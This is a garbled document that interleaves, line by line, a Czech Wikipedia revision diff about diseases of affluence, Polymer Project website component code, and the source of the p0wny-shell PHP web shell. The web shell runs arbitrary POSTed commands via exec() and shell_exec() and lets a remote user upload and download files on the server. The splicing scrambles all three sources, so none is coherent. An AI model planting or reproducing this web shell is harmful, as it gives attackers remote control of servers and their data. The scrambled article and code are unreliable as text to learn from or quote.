Civilizační choroba: Porovnání verzí

Přidáno 1 732 bajtů ,  před 2 lety
bez shrnutí editace
Bez shrnutí editace
značky: editace z mobilu editace z mobilního webu
Bez shrnutí editace
značky: editace z mobilu editace z mobilního webu
<!--
{{Neověřeno}}
@license
{{Upravit}}
Copyright (c) 2016 The Polymer Project Authors. All rights reserved.
'''Civilizační choroby''' (také ''nemoci z blahobytu'', {{Vjazyce|en}} {{Cizojazyčně|en|''diseases of affluence''}}) je označení pro skupinu [[nemoc]]í, které se častěji vyskytují ve vyspělých zemích než v zemích třetího světa. Předpokládá se, že jsou důsledkem moderního městského životního stylu. K tomu přispívá například to, že mnoho lidí ve vyspělých zemích kouří, pije alkohol, má nedostatek fyzické aktivity, trpí dlouhodobým stresem apod. V těle se nám pak nahromadí radikály, které urychlují rozvoj mnoha nemocí včetně rakoviny. Civilizační choroby mohou dále způsobovat například srdeční onemocnění, cukrovku, bolesti hlavy či zad.
This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt
The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt
The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt
Code distributed by Google as part of the polymer project is also
subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt
-->
<link rel="import" href="../bower_components/polymer/polymer.html">
 
<link rel="import" href="../bower_components/app-layout/app-drawer/app-drawer.html">
Za příčiny těchto chorob se považují zejména:
<link rel="import" href="../bower_components/app-layout/app-header/app-header.html">
* konzumace [[Průmyslově zpracované potraviny|průmyslově vyráběných potravin]]
<link rel="import" href="../bower_components/app-route/app-location.html">
* příjem kaloricky bohatých potravin (zejména tučných a slaných jídel)
<link rel="import" href="../bower_components/app-route/app-route.html">
* nadměrná konzumace jídla, [[alkoholický nápoj|alkoholu]] a cigaret
<link rel="import" href="../bower_components/iron-ajax/iron-ajax.html">
* nadměrný a trvalý [[stres]]
<link rel="import" href="../bower_components/iron-media-query/iron-media-query.html">
* nedostatek fyzického pohybu
<link rel="import" href="../bower_components/iron-flex-layout/iron-flex-layout-classes.html">
<link rel="import" href="../bower_components/paper-toast/paper-toast.html">
 
<dom-module id="pw-shell">
Nevhodná strava
<template>
* tučná jídla
<style include="iron-flex iron-positioning">
* přeslazená jídla
:host {
* přepálená jídla
--app-header-z-index: 101;
* přesolená jídla
--app-drawer-z-index: 102;
* příliš mnoho živočišných tuků
}
 
a {
<?php
color: #6b6b6b;
text-decoration: none;
}
 
/* To avoid flashing the content before it's being distributed,
function featureShell($cmd, $cwd) {
* the nav links where initially display: none. */
$stdout = array();
.drawer-contents ::slotted(.site-nav) {
display: block !important;
}
 
a.iron-selected {
if (preg_match("/^\s*cd\s*$/", $cmd)) {
//color: pass#333;
}
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir($match[1]);
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
exec($cmd, $stdout);
}
 
return array( .drawer {
display: "stdout" => $stdout,none;
z-index: var(--app-drawer-z-index);
"cwd" => getcwd()
); }
}
 
.drawer-contents {
function featurePwd() {
height: 100%;
return array("cwd" => getcwd());
overflow-y: auto;
}
-webkit-overflow-scrolling: touch;
}
 
.drawer-toggle {
function featureHint($fileName, $cwd, $type) {
chdir($cwd) display: none;
if ($type == 'cmd') {}
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
return array(
'files' => $files,
);
}
 
.header {
function featureDownload($filePath) {
position: fixed;
$file = @file_get_contents($filePath);
if ($file === FALSE) {top: 0;
returnright: array(0;
left: 0;
'stdout' => array('File not found / no read permission.'),
background-color: #FFF;
'cwd' => getcwd()
)font-weight: 400;
z-index: var(--app-header-z-index);
} else {
return array(}
'name' => basename($filePath),
'file' => base64_encode($file)
);
}
}
 
.header-toolbar {
function featureUpload($path, $file, $cwd) {
chdir($cwd) padding: 0 8px;
$f = @fopen($path, 'wb');}
if ($f === FALSE) {
return array(
'stdout' => array('Invalid path / no write permission.'),
'cwd' => getcwd()
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
'stdout' => array('Done.'),
'cwd' => getcwd()
);
}
}
 
.header-toolbar paper-icon-button {
if (isset($_GET["feature"])) {
width: 40px;
}
 
.header-toolbar .logo-link {
$response = NULL;
padding-left: 20px;
height: 24px;
}
 
.header-toolbar .logo-link img {
switch ($_GET["feature"]) {
case "shell"height: 100%;
vertical-align: $cmd = $_POST['cmd']middle;
}
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
break;
case 'upload':
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
}
 
.header-toolbar .logo-link span {
header("Content-Type: application/json");
font-size: 20px;
echo json_encode($response);
die() color: black;
padding-left: 5px;
}
vertical-align: middle;
}
 
nav {
?><!DOCTYPE html>
height: 64px;
padding: 0 8px;
}
 
.sections-tabs a {
<html>
display: inline-block;
margin: 0 8px;
padding-top: 24px;
height: 100%;
box-sizing: border-box;
}
 
.sections-tabs a.iron-selected {
<head>
border-bottom: 4px solid #f50057; /* pink-a400 */
<meta charset="UTF-8" />
}
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
}
 
:host([active-docs-version="1.0"]) .sections-tabs a[data-version="2.0"],
#shell {
:host([active-docs-version="1.0"]) .sections-tabs a[data-version="3.0"],
background: #222;
:host([active-docs-version="2.0"]) .sections-tabs a[data-version="1.0"],
max-width: 800px;
:host([active-docs-version="2.0"]) .sections-tabs a[data-version="3.0"],
margin: 50px auto 0 auto;
:host([active-docs-version="3.0"]) .sections-tabs a[data-version="1.0"],
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
:host([active-docs-version="3.0"]) .sections-tabs a[data-version="2.0"] {
font-size: 10pt;
display: flexnone;
}
flex-direction: column;
align-items: stretch;
}
 
#shell.search-contentbox {
heightwidth: 500px100%;
overflowheight: auto100%;
padding: 5px0 12px;
whitefont-spacesize: pre-wrap16px;
flex-growborder: 1none;
box-sizing: }border-box;
-webkit-transform: translate3d(100%, 0, 0);
transform: translate3d(100%, 0, 0);
-webkit-appearance: none;
}
 
#shell.search-logobox:focus {
-webkit-transform: translate3d(0, 0, 0);
font-weight: bold;
transform: translate3d(0, 0, color: #FF41800);
transition: text-align:webkit-transform center0.2s;
transition: transform }0.2s;
}
 
@media (max-width: 991px767px) {
.drawer, #shell.drawer-logotoggle {
display: noneblock;
}
 
.sections-tabs > html, body, #shella {
heightdisplay: 100%none;
width: 100%;}
}
max-width: none;
}</style>
 
<app-location route="{{_route}}" path="{{path}}"></app-location>
#shell {
<app-route route="[[_route]]" pattern="/:version/:section" data="{{_routeData}}"></app-route>
margin-top: 0;
}
}
 
<iron-ajax url="[[path]]" handle-as="document" on-response="_handleResponse" on-error="_handleError" auto></iron-ajax>
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
 
<app-header class="header" reveals snaps shadow>
.shell-prompt {
<div class="header-toolbar layout horizontal center">
font-weight: bold;
<paper-icon-button class="drawer-toggle" icon="pw-icons:menu" on-click="_toggleDrawer"></paper-icon-button>
color: #75DF0B;
}
 
<a href="/" .shellclass="logo-prompt link"> span {
<img src="/images/logos/p-logo.png" alt="Polymer Logo">
color: #1BC9E7;
<span>Polymer }Project</span>
</a>
 
<div #shell-input {class="flex"></div>
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
}
 
#shell-input <nav> label {
<iron-selector class="sections-tabs" attr-for-selected="name" activate-event="" selected="[[_computeSection(path)]]">
flex-grow: 0;
<a href="/1.0/start/" name="1.0/start" data-version="1.0">Start</a>
display: block;
<a href="/1.0/docs/devguide/feature-overview" name="1.0/docs" data-version="1.0">Polymer</a>
padding: 0 5px;
<a href="/1.0/toolbox/" name="1.0/toolbox" data-version="1.0">App Toolbox</a>
height: 30px;
line-height: 30px;
}
 
<a href="/2.0/start/" name="2.0/start" data-version="2.0">Start</a>
#shell-input #shell-cmd {
<a href="/2.0/docs/devguide/feature-overview" name="2.0/docs" data-version="2.0">Polymer</a>
height: 30px;
<a href="/2.0/toolbox/" name="2.0/toolbox" data-version="2.0">App Toolbox</a>
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
}
 
<a href="/3.0/start/" name="3.0/start" data-version="3.0">Start</a>
#shell-input div {
<a href="/3.0/docs/devguide/feature-overview" name="3.0/docs" data-version="3.0">Polymer</a>
flex-grow: 1;
<a href="/3.0/toolbox/" name="3.0/toolbox" data-version="3.0">App Toolbox</a>
align-items: stretch;
}
 
#shell-input<a inputhref="/blog/" {name="blog">Blog</a>
<a href="/community/" outline: none;name="community">Community</a>
}</iron-selector>
</stylenav>
 
<paper-icon-button icon="pw-icons:search" on-click="_focusSearch" tabindex="-1" aria-label="Search Polymer site"></paper-icon-button>
<script>
var CWD = null;</div>
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
 
<label aria-hidden id="searchLabel" hidden>Search Polymer site</label>
function _insertCommand(command) {
<input id="searchBox" on-change="_onSearchInputChange" type="search" class="search-box fit" placeholder="Search Polymer Site" aria-labelledby="searchLabel">
eShellContent.innerHTML += "\n\n";
</app-header>
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
 
<app-drawer id="drawer" class="drawer" swipe-open>
function _insertStdout(stdout) {
<div class="drawer-contents">
eShellContent.innerHTML += escapeHtml(stdout);
<slot name="site-nav"></slot>
eShellContent.scrollTop = eShellContent.scrollHeight;
}</div>
</app-drawer>
 
<slot></slot>
function featureShell(command) {
 
<iron-media-query query="(max-width: 1000px)" query-matches="{{_shouldCollapseToc}}"></iron-media-query>
_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = '';
} else {
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty('file')) {
featureDownload(response.name, response.file)
} else {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
}
});
}
}
 
<script type="text/javascript">
function featureHint() {
/* <![CDATA[ */
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
var google_conversion_id = 935743779;
var google_custom_params = window.google_tag_params;
var google_remarketing_only = true;
/* ]]> */
</script>
<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">
</script>
 
</template>
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
 
<script>
if (data.files.length === 2) {
Polymer.setPassiveTouchGestures(true);
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
 
Polymer({
var currentCmd = eShellCmdInput.value.split(" ");
is: 'pw-shell',
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
 
properties: {
makeRequest(
/**
"?feature=hint",
* True if the window size is small enough that the TOC has {floated
* to the top of the view, and should be filename: fileName,collapsed.
cwd: CWD,*/
type_shouldCollapseToc: type{
observer: },'_collapseTocChanged'
},
_requestCallback
);
 
}/**
* Which version (1.0 or 2.0) of the docs we are using, so that the
* main nav and side nav can be kept in sync across page navigations.
*/
activeDocsVersion: {
type: String,
value: '3.0',
reflectToAttribute: true
},
 
path: {
function featureDownload(name, file) {
type: String
var element = document.createElement('a');
}
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
},
element.setAttribute('download', name);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
_insertStdout('Done.');
}
 
attached: function featureUpload(path) {
// Lazy load the footer and the icons since they're not critical and you're
var element = document.createElement('input');
// probably not looking at the bottom of the page on first paint. Also
element.setAttribute('type', 'file');
// FREAM (First-paint Rules Everything Around Me)
element.style.display = 'none';
Polymer.RenderStatus.afterNextRender(this, function() {
document.body.appendChild(element);
this.importHref(this.resolveUrl('/elements/lazy-elements.html'));
element.addEventListener('change', function () {
});
var promise = getBase64(element.files[0]);
promise.then(function (file) {
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
});
}, function () {
_insertStdout('An unknown client-side error occurred.');
});
});
element.click();
document.body.removeChild(element);
}
 
// app-route doesn't handle clicking on the TOC anchors.
function getBase64(file, onLoadCallback) {
window.addEventListener('hashchange', this._locationChanged.bind(this));
return new Promise(function(resolve, reject) {
window.addEventListener('location-changed', this._locationChanged.bind(this));
var reader = new FileReader();
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
reader.onerror = reject;
reader.readAsDataURL(file);
});
}
 
// Keep track of the scrolling position so that we can fix the TOC (which is in our light dom)
function genPrompt(cwd) {
this._stickyTocPosition = this._getStickyTocPosition();
cwd = cwd || "~";
document.addEventListener('scroll', this._onScroll.bind(this));
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
 
// Save which version of docs we're looking at, since we need to
function updateCwd(cwd) {
// maintain this state across the app. Note that not ifall (cwd)sections {are versioned.
if (/[123]\.0/.test(this._routeData.version))
CWD = cwd;
this.activeDocsVersion = this._routeData.version;
_updatePrompt();
},
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = response.cwd;
_updatePrompt();
});
 
_toggleDrawer: function() {
}
this.$.drawer.toggle();
},
 
_focusSearch: function escapeHtml(string) {
this.$.searchBox.focus();
return string
},
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;");
}
 
_onSearchInputChange: function _updatePrompt() {
window.location = window.location.origin + '/search/?q=' + encodeURIComponent(this.$.searchBox.value);
var eShellPrompt = document.getElementById("shell-prompt");
},
eShellPrompt.innerHTML = genPrompt(CWD);
}
 
_computeSection: function _onShellCmdKeyDown(eventpath) {
// This attempts to match the prefix of the current path with the name attribute on one of
switch (event.key) {
// the links in .sections-tabs (e.g. '1.0/start', '2.0/toolbox', 'blog', 'community', etc.).
case "Enter":
var match = /^\/([123]\.0\/[^\/]+|blog|community)\//.exec(path);
featureShell(eShellCmdInput.value);
return match ? match[1] : null;
insertToHistory(eShellCmdInput.value);
},
eShellCmdInput.value = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case "ArrowDown":
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
event.preventDefault();
featureHint();
break;
}
}
 
_handleError: function insertToHistory(cmdevent) {
if (this.hasAttribute('server-rendered')) {
commandHistory.push(cmd);
this.removeAttribute('server-rendered');
historyPosition = commandHistory.length;
}
 
window.showToast('This page was not cached for offline use :(');
function makeRequest(url, params, callback) {
},
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}
return a.join("&");
}
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
xhr.send(getQueryString());
}
 
window.onload =_handleResponse: function(event) {
// Don't reload the current page on initial navigation, since the server is
eShellCmdInput = document.getElementById("shell-cmd");
// already serving the correct page.
eShellContent = document.getElementById("shell-content");
if (this.hasAttribute('server-rendered')) {
updateCwd();
this.removeAttribute('server-rendered');
eShellCmdInput.focus();
} else };{
// Not all sections have a version, so only update the docs version if
</script>
// there's actually a change.
</head>
// Also I don't understand, but 'blog' comes with a version of "blog" so...
var version = this._routeData.version;
if (/[123]\.0/.test(version)) {
this.activeDocsVersion = version;
}
 
var doc = event.detail.response;
<body>
<divdocument.title id="shell"> doc.title;
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<div>
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
</body>
 
// Since the response is a document that's already parsed, don't
</html>
// just innerHTML it (which converts it to a string and then reparses it),
// and just use the nodes we need.
var docShell = doc.querySelector('pw-shell');
var fragment = document.createDocumentFragment();
while (docShell.firstChild) {
fragment.appendChild(docShell.firstChild);
}
 
// Replace shell contents.
var shell = Polymer.dom(this);
while (shell.firstChild) {
shell.removeChild(shell.firstChild);
}
shell.appendChild(document.importNode(fragment, true /* deep */));
Polymer.dom.flush(); // Force upgrades.
 
// Analytics.
if (window.recordPageview) {
window.recordPageview();
}
}
 
// Scroll to an anchor, if we have one.
if (window.location.hash) {
this._locationChanged();
} else {
this.async(this._resetScrollPosition);
}
 
// If we're not in a small view, render the TOC as open.
this._tocElement = Polymer.dom(this).querySelector('details');
if (this._tocElement) {
this._updateTocStyles();
}
 
// If there's two links matching this path (i.e. because there's no landing
// page for a section), and pick the deepest link to highlight.
var matchingLinks = Polymer.dom(this).querySelectorAll('.site-nav a[name="' + this.path +'"]');
var activeLink = matchingLinks[matchingLinks.length - 1];
 
if (activeLink) {
this.toggleClass('selected', true, activeLink);
this.styleLinkPath(activeLink, true);
}
},
 
styleLinkPath: function(link, opened) {
var classList = link.classList;
 
if (classList.contains('level-1')) {
this._styleLevel1Link(link, opened);
} else if (classList.contains('level-2') && classList.contains('indent')) {
this._styleLevel3Link(link);
} else if (classList.contains('level-2')) {
this._styleLevel2Link(link, opened);
}
},
 
_styleLevel1Link: function(link, opened) {
// Style the active selection.
this.toggleClass('active', opened, link);
 
var collapse = Polymer.dom(link).nextElementSibling;
this._showOrHideCollapse(link, opened);
 
// Style all the other greyed-out links.
links = Polymer.dom(this).querySelectorAll('a.level-1');
for (i = 0; i < links.length; i++) {
if (link !== links[i]) {
// Close all other collapses.
this._showOrHideCollapse(links[i], false);
this.toggleClass('active', false, links[i]);
 
// If the active collapse is opened, then grey-out the other links.
this.toggleClass('greyed-out', collapse && collapse.opened, links[i]);
}
}
},
 
_styleLevel2Link: function(link, opened) {
// Style the active selection.
this.toggleClass('active', opened, link);
 
// A level-2 link is inside a collapse, which comes after the level-1 link
// responsible for toggling that collapse. Style the parent level-1 link
// as well, so that the whole path of the tree is highlighted.
var parentLink = Polymer.dom(link.parentElement).previousElementSibling;
this._styleLevel1Link(parentLink, true);
 
// This link might have a collapse as well that we need to open.
this._showOrHideCollapse(link, opened);
},
 
_styleLevel3Link: function(link) {
// Style the active selection.
this.toggleClass('active', true, link);
 
// A level-3 link is inside a level-2 collapse, and after the level-2
// link responsible for opening it.
this._styleLevel2Link(Polymer.dom(link.parentElement).previousElementSibling, true);
},
 
_showOrHideCollapse: function(link, opened) {
var collapse = Polymer.dom(link).nextElementSibling;
var expandButton = Polymer.dom(link).querySelector('paper-icon-button');
 
// Wait until the element has been distributed and upgraded
if (!expandButton || !collapse || !collapse.hide || !collapse.show)
return;
 
if (opened) {
expandButton.icon = 'expand-less';
collapse.show();
} else {
expandButton.icon = 'expand-more';
collapse.hide();
}
},
 
_resetScrollPosition: function() {
var hash = window.location.hash;
if (hash) {
var elem = document.querySelector(hash);
if (elem) {
elem.scrollIntoView();
return;
}
}
 
Polymer.AppLayout.scroll();
},
 
_locationChanged: function() {
this.$.drawer.close();
 
var hash = window.location.hash;
if (hash) {
var el = Polymer.dom(this).querySelector(hash);
if (el) {
el.scrollIntoView();
} else {
var viewer = Polymer.dom(this).querySelector(
'iron-doc-element, iron-doc-mixin, iron-doc-namespace, iron-doc-module');
if (viewer)
viewer.scrollToAnchor(hash);
}
}
},
 
_collapseTocChanged: function() {
if (this._tocElement) {
this._updateTocStyles();
 
if (this._shouldCollapseToc) {
var wrapper = this._tocElement.parentElement;
this.toggleClass('fixed', false, wrapper);
this._resetWrapperToRelativePosition(wrapper);
}
}
},
 
_getStickyTocPosition: function() {
// The header element is in the light dom.
var header = Polymer.dom(this).querySelector('#header');
if (header) {
return header.getBoundingClientRect().height;
}
},
 
_onScroll: function() {
// We only need to do something if the toc is on the right.
if (!this._tocElement) {
return;
}
 
var article = Polymer.dom(this).querySelector('article');
if (!article) {
return;
}
 
var wrapper = this._tocElement.parentElement;
if (this._shouldCollapseToc) {
return;
}
 
var scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
this._resizeToc(wrapper, article, scrollTop);
},
 
_resizeToc: function(wrapper, article, scrollTop) {
// If we haven't scrolled passed the target position, relatively position the TOC.
var fixed = scrollTop >= this._stickyTocPosition;
this.toggleClass('fixed', fixed, wrapper);
 
if (fixed) {
// How much space we have available for the toc.
// where on the screen we started + how much the view is scrolled + the height.
var articleBottom = article.getBoundingClientRect().top + scrollTop + article.offsetHeight;
 
// If the remaining content is smaller than the window, then the footer is
// visible and its offset is the height of the remaining content. Otherwise
// it's below the fold, so use the window size instead.
var remainingContentSize = articleBottom - scrollTop;
var visibleFooterOffset = Math.min(remainingContentSize, window.innerHeight);
 
var topPadding = 64;
var bottomPadding = 20;
var maxHeight = visibleFooterOffset - topPadding - bottomPadding;
wrapper.style.display = maxHeight > 0 ? '' : 'none';
wrapper.style.maxHeight = maxHeight + 'px';
wrapper.style.top = topPadding + 'px';
} else {
this._resetWrapperToRelativePosition(wrapper);
}
},
 
_updateTocStyles: function() {
// This is a new page, so re-calculate the offset at which we're fixing the TOC.
this._stickyTocPosition = this._getStickyTocPosition();
this._tocElement.open = !this._shouldCollapseToc;
 
// Apply styles to all the divs that need to know there's a TOC
this.toggleClass('right-nav', !this._shouldCollapseToc, Polymer.dom(this).querySelector('.article-wrapper'));
this.toggleClass('right-nav', !this._shouldCollapseToc, Polymer.dom(this).querySelector('.header-wrapper'));
},
 
_resetWrapperToRelativePosition: function(wrapper) {
wrapper.style.display = '';
wrapper.style.maxHeight = '';
wrapper.style.top = '0px';
}
});
</script>
</dom-module>
 
== Externí odkazy ==
Neregistrovaný uživatel